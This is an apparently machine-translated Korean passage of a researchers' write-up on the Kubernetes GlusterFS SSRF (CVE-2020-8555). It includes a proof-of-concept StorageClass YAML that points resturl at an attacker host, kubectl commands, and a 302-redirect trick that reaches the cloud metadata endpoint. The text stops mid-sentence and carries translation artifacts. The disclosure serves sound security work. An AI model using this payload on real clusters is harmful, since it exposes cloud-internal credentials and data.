Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

๋ฉ”๋ชจ. ๋ฒˆ์—ญ: ์ด ๊ธฐ์‚ฌ์˜ ์ €์ž๋Š” ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•œ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. CVE-2020~8555 ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค์—์„œ. ์ฒ˜์Œ์—๋Š” ๋ณ„๋กœ ์œ„ํ—˜ํ•ด ๋ณด์ด์ง€ ์•Š์•˜์ง€๋งŒ ๋‹ค๋ฅธ ์š”์ธ๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ ์ผ๋ถ€ ํด๋ผ์šฐ๋“œ ์ œ๊ณต์—…์ฒด์—์„œ๋Š” ๊ทธ ์ค‘์š”์„ฑ์ด ์ตœ๋Œ€์ธ ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ๋ช‡๋ช‡ ์กฐ์ง์—์„œ๋Š” ์ „๋ฌธ๊ฐ€์˜ ์ž‘์—…์— ๋Œ€ํ•ด ๊ด€๋Œ€ํ•˜๊ฒŒ ๋ณด์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

์šฐ๋ฆฌ๋Š” ๋ˆ„๊ตฌ์ธ๊ฐ€

์šฐ๋ฆฌ๋Š” Kubernetes์˜ ์ทจ์•ฝ์ ์„ ๊ณต๋™์œผ๋กœ ๋ฐœ๊ฒฌํ•œ ๋‘ ๋ช…์˜ ํ”„๋ž‘์Šค ๋ณด์•ˆ ์—ฐ๊ตฌ์›์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ ์ด๋ฆ„์€ Brice Augras์™€ Christophe Hauquiert์ด์ง€๋งŒ ๋งŽ์€ Bug Bounty ํ”Œ๋žซํผ์—์„œ๋Š” ๊ฐ๊ฐ Reeverzax์™€ Hach๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌด์Šจ ์ผ์ด ์žˆ์—ˆ์ฃ ?

์ด ๊ธฐ์‚ฌ๋Š” ํ‰๋ฒ”ํ•œ ์—ฐ๊ตฌ ํ”„๋กœ์ ํŠธ๊ฐ€ ์–ด๋–ป๊ฒŒ ์˜ˆ๊ธฐ์น˜ ์•Š๊ฒŒ ๋ฒ„๊ทธ ์‚ฌ๋ƒฅ๊พผ์˜ ์‚ถ์—์„œ ๊ฐ€์žฅ ํฅ๋ฏธ์ง„์ง„ํ•œ ๋ชจํ—˜์œผ๋กœ ๋ณ€ํ–ˆ๋Š”์ง€ ๊ณต์œ ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค(์ ์–ด๋„ ํ˜„์žฌ๋กœ์„œ๋Š”).

์•„์‹œ๋‹ค์‹œํ”ผ ๋ฒ„๊ทธ ์‚ฌ๋ƒฅ๊พผ์—๋Š” ๋ช‡ ๊ฐ€์ง€ ์ฃผ๋ชฉํ• ๋งŒํ•œ ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ทธ๋“ค์€ ํ”ผ์ž์™€ ๋งฅ์ฃผ๋ฅผ ๋จน๊ณ  ์‚ฐ๋‹ค.
  • ๊ทธ๋“ค์€ ๋‹ค๋ฅธ ์‚ฌ๋žŒ๋“ค์ด ์ž๊ณ  ์žˆ์„ ๋•Œ ์ผํ•ฉ๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋„ ์ด๋Ÿฌํ•œ ๊ทœ์น™์—์„œ ์˜ˆ์™ธ๋Š” ์•„๋‹™๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ๋ณดํ†ต ์ฃผ๋ง์— ๋งŒ๋‚˜์„œ ์ž  ๋ชป ์ด๋ฃจ๋Š” ๋ฐค์„ ํ•ดํ‚น์œผ๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์–ด๋Š ๋‚  ๋ฐค์€ ๋งค์šฐ ํŠน์ดํ•œ ๋ฐฉ์‹์œผ๋กœ ๋๋‚ฌ์Šต๋‹ˆ๋‹ค.

์ฒ˜์Œ์— ์šฐ๋ฆฌ๋Š” ์ฐธ์—ฌ๋ฅผ ๋…ผ์˜ํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋‚  ์˜ˆ์ •์ด์—ˆ์Šต๋‹ˆ๋‹ค. CTF ๋‹ค์Œ๋‚ . ๋งค๋‹ˆ์ง€๋“œ ์„œ๋น„์Šค ํ™˜๊ฒฝ์—์„œ์˜ ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ๋ณด์•ˆ์— ๋Œ€ํ•œ ๋Œ€ํ™”๋ฅผ ๋‚˜๋ˆ„๋˜ ์ค‘ ์šฐ๋ฆฌ๋Š” SSRF(์„œ๋ฒ„์ธก ์š”์ฒญ ์œ„์กฐ) ์ด๋ฅผ ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๋กœ ์‚ฌ์šฉํ•ด ๋ณด๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

์˜คํ›„ 11์‹œ์— ์šฐ๋ฆฌ๋Š” ์—ฐ๊ตฌ๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด ์ž๋ฆฌ์— ์•‰์•˜๊ณ  ์•„์นจ ์ผ์ฐ ์ž ์ž๋ฆฌ์— ๋“ค์—ˆ๊ณ  ๊ฒฐ๊ณผ์— ๋งค์šฐ ๋งŒ์กฑํ–ˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ MSRC Bug Bounty ํ”„๋กœ๊ทธ๋žจ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์„ ์ƒ๊ฐํ•ด๋‚ธ ๊ฒƒ์€ ์ด ์—ฐ๊ตฌ ๋•๋ถ„์ด์—ˆ์Šต๋‹ˆ๋‹ค.

๋ช‡ ์ฃผ/๊ฐœ์›”์ด ์ง€๋‚ฌ๊ณ  ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ฒฐ๊ณผ๋กœ Kubernetes์—์„œ ๋ฐ›์€ ๋ณด์ƒ์— ๋”ํ•ด Azure Cloud Bug Bounty ์—ญ์‚ฌ์ƒ ๊ฐ€์žฅ ๋†’์€ ๋ณด์ƒ ์ค‘ ํ•˜๋‚˜๋ฅผ ์–ป๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค!

์šฐ๋ฆฌ์˜ ์—ฐ๊ตฌ ํ”„๋กœ์ ํŠธ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ Kubernetes ์ œํ’ˆ ๋ณด์•ˆ ์œ„์›ํšŒ๋Š” ๋‹ค์Œ์„ ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค. CVE-2020~8555.

์ด์ œ๋Š” ๋ฐœ๊ฒฌ๋œ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ตœ๋Œ€ํ•œ ๋„๋ฆฌ ์•Œ๋ฆฌ๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค. infosec ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ๋‹ค๋ฅธ ๊ตฌ์„ฑ์›๊ณผ ๊ธฐ์ˆ  ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ์ฐพ์•„ ๊ณต์œ ํ•ด ์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค!

๊ทธ๋Ÿผ ์šฐ๋ฆฌ ์ด์•ผ๊ธฐ๋Š” ์ด๋ ‡์Šต๋‹ˆ๋‹ค...

๋ฌธ๋งฅ

๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚ฌ๋Š”์ง€ ๊ฐ€์žฅ ์ž˜ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด ๋จผ์ € ํด๋ผ์šฐ๋“œ ๊ด€๋ฆฌ ํ™˜๊ฒฝ์—์„œ Kubernetes๊ฐ€ ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ํ™˜๊ฒฝ์—์„œ Kubernetes ํด๋Ÿฌ์Šคํ„ฐ๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•  ๋•Œ ๊ด€๋ฆฌ ๊ณ„์ธต์€ ์ผ๋ฐ˜์ ์œผ๋กœ ํด๋ผ์šฐ๋“œ ๊ณต๊ธ‰์ž์˜ ์ฑ…์ž„์ž…๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...
์ œ์–ด ๊ณ„์ธต์€ ํด๋ผ์šฐ๋“œ ์ œ๊ณต์—…์ฒด์˜ ๊ฒฝ๊ณ„์— ์œ„์น˜ํ•˜๋ฉฐ, Kubernetes ๋…ธ๋“œ๋Š” ๊ณ ๊ฐ์˜ ๊ฒฝ๊ณ„์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.

๋ณผ๋ฅจ์„ ๋™์ ์œผ๋กœ ํ• ๋‹นํ•˜๊ธฐ ์œ„ํ•ด ์™ธ๋ถ€ ์Šคํ† ๋ฆฌ์ง€ ๋ฐฑ์—”๋“œ์—์„œ ๋ณผ๋ฅจ์„ ๋™์ ์œผ๋กœ ํ”„๋กœ๋น„์ €๋‹ํ•˜๊ณ  ์ด๋ฅผ PVC(์˜๊ตฌ ๋ณผ๋ฅจ ์š”์ฒญ, ์ฆ‰ ๋ณผ๋ฅจ ์š”์ฒญ)์™€ ๋น„๊ตํ•˜๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ PVC๊ฐ€ ์ƒ์„ฑ๋˜์–ด K8s ํด๋Ÿฌ์Šคํ„ฐ์˜ StorageClass์— ๋ฐ”์ธ๋”ฉ๋œ ํ›„ ๋ณผ๋ฅจ์„ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•œ ์ถ”๊ฐ€ ์ž‘์—…์€ kube/cloud ์ปจํŠธ๋กค๋Ÿฌ ๊ด€๋ฆฌ์ž๊ฐ€ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค(์ •ํ™•ํ•œ ์ด๋ฆ„์€ ๋ฆด๋ฆฌ์Šค์— ๋”ฐ๋ผ ๋‹ค๋ฆ„). (๋ฉ”๋ชจ. ๋ฒˆ์—ญ: ์šฐ๋ฆฌ๋Š” ์ด๋ฏธ ํด๋ผ์šฐ๋“œ ์ œ๊ณต์—…์ฒด ์ค‘ ํ•˜๋‚˜์˜ ๊ตฌํ˜„ ์˜ˆ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ CCM์— ๋Œ€ํ•ด ๋” ์ž์„ธํžˆ ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—.)

Kubernetes์—์„œ ์ง€์›ํ•˜๋Š” ์—ฌ๋Ÿฌ ์œ ํ˜•์˜ ํ”„๋กœ๋น„์ €๋„ˆ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์€ ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ดํ„ฐ ์ฝ”์–ด, ๋‚˜๋จธ์ง€๋Š” ํด๋Ÿฌ์Šคํ„ฐ์˜ ํฌ๋“œ์— ๋ฐฐ์น˜๋œ ์ถ”๊ฐ€ ํ”„๋กœ๋น„์ €๋„ˆ์— ์˜ํ•ด ๊ด€๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์—ฐ๊ตฌ์—์„œ ์šฐ๋ฆฌ๋Š” ์•„๋ž˜์— ์„ค๋ช…๋œ ๋‚ด๋ถ€ ๋ณผ๋ฅจ ํ”„๋กœ๋น„์ €๋‹ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— ์ค‘์ ์„ ๋‘์—ˆ์Šต๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...
๋‚ด์žฅ๋œ Kubernetes ํ”„๋กœ๋น„์ €๋„ˆ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ณผ๋ฅจ์„ ๋™์ ์œผ๋กœ ํ”„๋กœ๋น„์ €๋‹

์ฆ‰, Kubernetes๊ฐ€ ๊ด€๋ฆฌํ˜• ํ™˜๊ฒฝ์— ๋ฐฐํฌ๋˜๋ฉด ์ปจํŠธ๋กค๋Ÿฌ ๊ด€๋ฆฌ์ž๋Š” ํด๋ผ์šฐ๋“œ ๊ณต๊ธ‰์ž์˜ ์ฑ…์ž„์ด์ง€๋งŒ ๋ณผ๋ฅจ ์ƒ์„ฑ ์š”์ฒญ(์œ„ ๋‹ค์ด์–ด๊ทธ๋žจ์˜ 3๋ฒˆ)์€ ํด๋ผ์šฐ๋“œ ๊ณต๊ธ‰์ž์˜ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ๋ฅผ ๋– ๋‚ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๊ฒƒ์ด ์ •๋ง ํฅ๋ฏธ๋กœ์šด ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค!

ํ•ดํ‚น ์‹œ๋‚˜๋ฆฌ์˜ค

์ด ์„น์…˜์—์„œ๋Š” ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ์›Œํฌํ”Œ๋กœ๋ฅผ ํ™œ์šฉํ•˜๊ณ  ํด๋ผ์šฐ๋“œ ์„œ๋น„์Šค ๊ณต๊ธ‰์ž์˜ ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค์— ์•ก์„ธ์Šคํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ๋‚ด๋ถ€ ์ž๊ฒฉ ์ฆ๋ช… ํš๋“ ๋˜๋Š” ๊ถŒํ•œ ์ƒ์Šน๊ณผ ๊ฐ™์€ ํŠน์ • ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

ํ•œ ๊ฐ€์ง€ ๊ฐ„๋‹จํ•œ ์กฐ์ž‘(์ด ๊ฒฝ์šฐ ์„œ๋น„์Šค์ธก ์š”์ฒญ ์œ„์กฐ)์€ ํด๋ผ์ด์–ธํŠธ ํ™˜๊ฒฝ์„ ๋„˜์–ด ๊ด€๋ฆฌ๋˜๋Š” K8 ์•„๋ž˜์˜ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค ๊ณต๊ธ‰์ž ํด๋Ÿฌ์Šคํ„ฐ๋กœ ์ด๋™ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์—ฐ๊ตฌ์—์„œ ์šฐ๋ฆฌ๋Š” GlusterFS ํ”„๋กœ๋น„์ €๋„ˆ์— ์ค‘์ ์„ ๋‘์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋งฅ๋ฝ์—์„œ ์ถ”๊ฐ€ ์ž‘์—… ์ˆœ์„œ๊ฐ€ ์„ค๋ช…๋˜์–ด ์žˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  Quobyte, StorageOS ๋ฐ ScaleIO๋Š” ๋™์ผํ•œ ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...
๋™์  ๋ณผ๋ฅจ ํ”„๋กœ๋น„์ €๋‹ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ๋‚จ์šฉ

์Šคํ† ๋ฆฌ์ง€ ํด๋ž˜์Šค ๋ถ„์„ ์ค‘ GlusterFS Golang ํด๋ผ์ด์–ธํŠธ ์†Œ์Šค ์ฝ”๋“œ์—์„œ ์šฐ๋ฆฌ๋Š” ์•Œ์•„ ์ฐจ ๋ ธ๋˜๋ณผ๋ฅจ ์ƒ์„ฑ ์ค‘์— ์ „์†ก๋œ ์ฒซ ๋ฒˆ์งธ HTTP ์š”์ฒญ(3)์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์‚ฌ์šฉ์ž ์ •์˜ URL ๋๊นŒ์ง€ resturl ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค /volumes.

์šฐ๋ฆฌ๋Š” ๋‹ค์Œ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ์ด ์ถ”๊ฐ€ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ฑฐํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. # ๋งค๊ฐœ๋ณ€์ˆ˜์—์„œ resturl. ๋‹ค์Œ์€ ๋ฐ˜๋งน๊ฒ€ SSRF ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•œ ์ฒซ ๋ฒˆ์งธ YAML ๊ตฌ์„ฑ์ž…๋‹ˆ๋‹ค. (์˜ˆ๋ฅผ ๋“ค์–ด ๋ฐ˜๋งน๊ฒ€ ๋˜๋Š” ๋ฐ˜๋งน๊ฒ€ SSRF์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์— - ๋Œ€๋žต. ๋ฒˆ์—ญ):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Kubernetes ํด๋Ÿฌ์Šคํ„ฐ๋ฅผ ์›๊ฒฉ์œผ๋กœ ๊ด€๋ฆฌํ–ˆ์Šต๋‹ˆ๋‹ค. ์ฟ  ๋ฒ ํ‹€. ์ผ๋ฐ˜์ ์œผ๋กœ ํด๋ผ์šฐ๋“œ ๊ณต๊ธ‰์ž(Azure, Google, AWS ๋“ฑ)๋ฅผ ํ†ตํ•ด ์ด ์œ ํ‹ธ๋ฆฌํ‹ฐ์— ์‚ฌ์šฉํ•  ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋•๋ถ„์— 'ํŠน๋ณ„ํ•œ' ํŒŒ์ผ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. Kube-controller-manager๋Š” ๊ฒฐ๊ณผ HTTP ์š”์ฒญ์„ ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.

kubectl create -f sc-poc.yaml

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...
๊ณต๊ฒฉ์ž ๊ด€์ ์˜ ๋‹ต๋ณ€

๊ทธ ์งํ›„ ๋‹ค์Œ ๋ช…๋ น์„ ํ†ตํ•ด ๋Œ€์ƒ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ HTTP ์‘๋‹ต์„ ์ˆ˜์‹ ํ•  ์ˆ˜๋„ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. describe pvc ๋˜๋Š” get events kubectl์—์„œ. ์‹ค์ œ๋กœ ์ด ๊ธฐ๋ณธ Kubernetes ๋“œ๋ผ์ด๋ฒ„๋Š” ๊ฒฝ๊ณ /์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ๋„ˆ๋ฌด ์žฅํ™ฉํ•ฉ๋‹ˆ๋‹ค...

๋‹ค์Œ์€ ๋งํฌ๊ฐ€ ํฌํ•จ๋œ ์˜ˆ์ž…๋‹ˆ๋‹ค. https://www.google.fr๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์„ค์ • resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

์ด ์ ‘๊ทผ ๋ฐฉ์‹์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฟผ๋ฆฌ๋กœ ์ œํ•œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. HTTP ํฌ์ŠคํŠธ ๋ฐ˜ํ™˜ ์ฝ”๋“œ๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ ์‘๋‹ต ๋ณธ๋ฌธ์˜ ๋‚ด์šฉ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. 201. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ์ถ”๊ฐ€ ์—ฐ๊ตฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ƒˆ๋กœ์šด ์ ‘๊ทผ ๋ฐฉ์‹์œผ๋กœ ์ด ํ•ดํ‚น ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ํ™•์žฅํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ ์—ฐ๊ตฌ์˜ ๋ฐœ์ „

  • ๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #1: ์™ธ๋ถ€ ์„œ๋ฒ„์—์„œ 302 ๋ฆฌ๋””๋ ‰์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ HTTP ๋ฐฉ๋ฒ•์„ ๋ณ€๊ฒฝํ•˜์—ฌ ๋‚ด๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š” ๋ณด๋‹ค ์œ ์—ฐํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #2: LAN ๊ฒ€์ƒ‰ ๋ฐ ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค ๊ฒ€์ƒ‰์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #3: HTTP CRLF + ๋ฐ€์ˆ˜(โ€œ์š”์ฒญ ๋ฐ€์ˆ˜โ€)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋งž์ถคํ˜• HTTP ์š”์ฒญ์„ ์ƒ์„ฑํ•˜๊ณ  kube-controller ๋กœ๊ทธ์—์„œ ์ถ”์ถœ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ์ˆ  ์‚ฌ์–‘

  • ์ด๋ฒˆ ์—ฐ๊ตฌ์—์„œ๋Š” ๋ถ์œ ๋Ÿฝ ์ง€์—ญ์—์„œ Kubernetes ๋ฒ„์ „ 1.12์™€ ํ•จ๊ป˜ AKS(Azure Kubernetes Service)๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์œ„์— ์„ค๋ช…๋œ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ์„ธ ๋ฒˆ์งธ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ œ์™ธํ•˜๊ณ  Kubernetes์˜ ์ตœ์‹  ๋ฆด๋ฆฌ์Šค์—์„œ ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Š” Golang ๋ฒ„์ „ โ‰ค 1.12๋กœ ๊ตฌ์ถ•๋œ Kubernetes๊ฐ€ ํ•„์š”ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž์˜ ์™ธ๋ถ€ ์„œ๋ฒ„ - https://attacker.com.

๊ณ ๊ธ‰ ์‹œ๋‚˜๋ฆฌ์˜ค #1: HTTP POST ์š”์ฒญ์„ GET์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ์ˆ˜์‹ 

์›๋ž˜ ๋ฐฉ๋ฒ•์€ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๊ตฌ์„ฑํ•˜์—ฌ ๊ฐœ์„ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. 302 HTTP ๋ฆฌํŠธ์ฝ”๋“œPOST ์š”์ฒญ์„ GET ์š”์ฒญ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๋ ค๋ฉด(๋‹ค์ด์–ด๊ทธ๋žจ์˜ 4๋‹จ๊ณ„):

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

ํด๋ผ์ด์–ธํŠธ์—์„œ ์˜ค๋Š” ์ฒซ ๋ฒˆ์งธ ์š”์ฒญ(3) GlusterFS (์ปจํŠธ๋กค๋Ÿฌ ๊ด€๋ฆฌ์ž)์—๋Š” POST ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ์ด๋ฅผ GET์œผ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

  • ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ resturl StorageClass์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. http://attacker.com/redirect.php.
  • ์ข…์  https://attacker.com/redirect.php ๋‹ค์Œ ์œ„์น˜ ํ—ค๋”๊ฐ€ ํฌํ•จ๋œ 302 HTTP ์ƒํƒœ ์ฝ”๋“œ๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค. http://169.254.169.254. ์ด๋Š” ๋‹ค๋ฅธ ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋ฆฌ๋””๋ ‰์…˜ ๋งํฌ๋Š” ์˜ˆ์‹œ๋กœ๋งŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ๊ธฐ๋ณธ์ ์œผ๋กœ net/http ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ Golang์€ ์š”์ฒญ์„ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๊ณ  POST๋ฅผ 302 ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GET์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ๋Œ€์ƒ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ HTTP GET ์š”์ฒญ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

HTTP ์‘๋‹ต ๋ณธ๋ฌธ์„ ์ฝ์œผ๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. describe PVC ๊ฐœ์ฒด:

kubectl describe pvc xxx

๋‹ค์Œ์€ ์šฐ๋ฆฌ๊ฐ€ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ JSON ํ˜•์‹์˜ HTTP ์‘๋‹ต์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค.

Kubernetes ์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ฒƒ์ด ์•„๋‹ ๋•Œ...

๋‹น์‹œ ๋ฐœ๊ฒฌ๋œ ์ทจ์•ฝ์ ์˜ ์„ฑ๋Šฅ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด์œ ๋กœ ์ œํ•œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

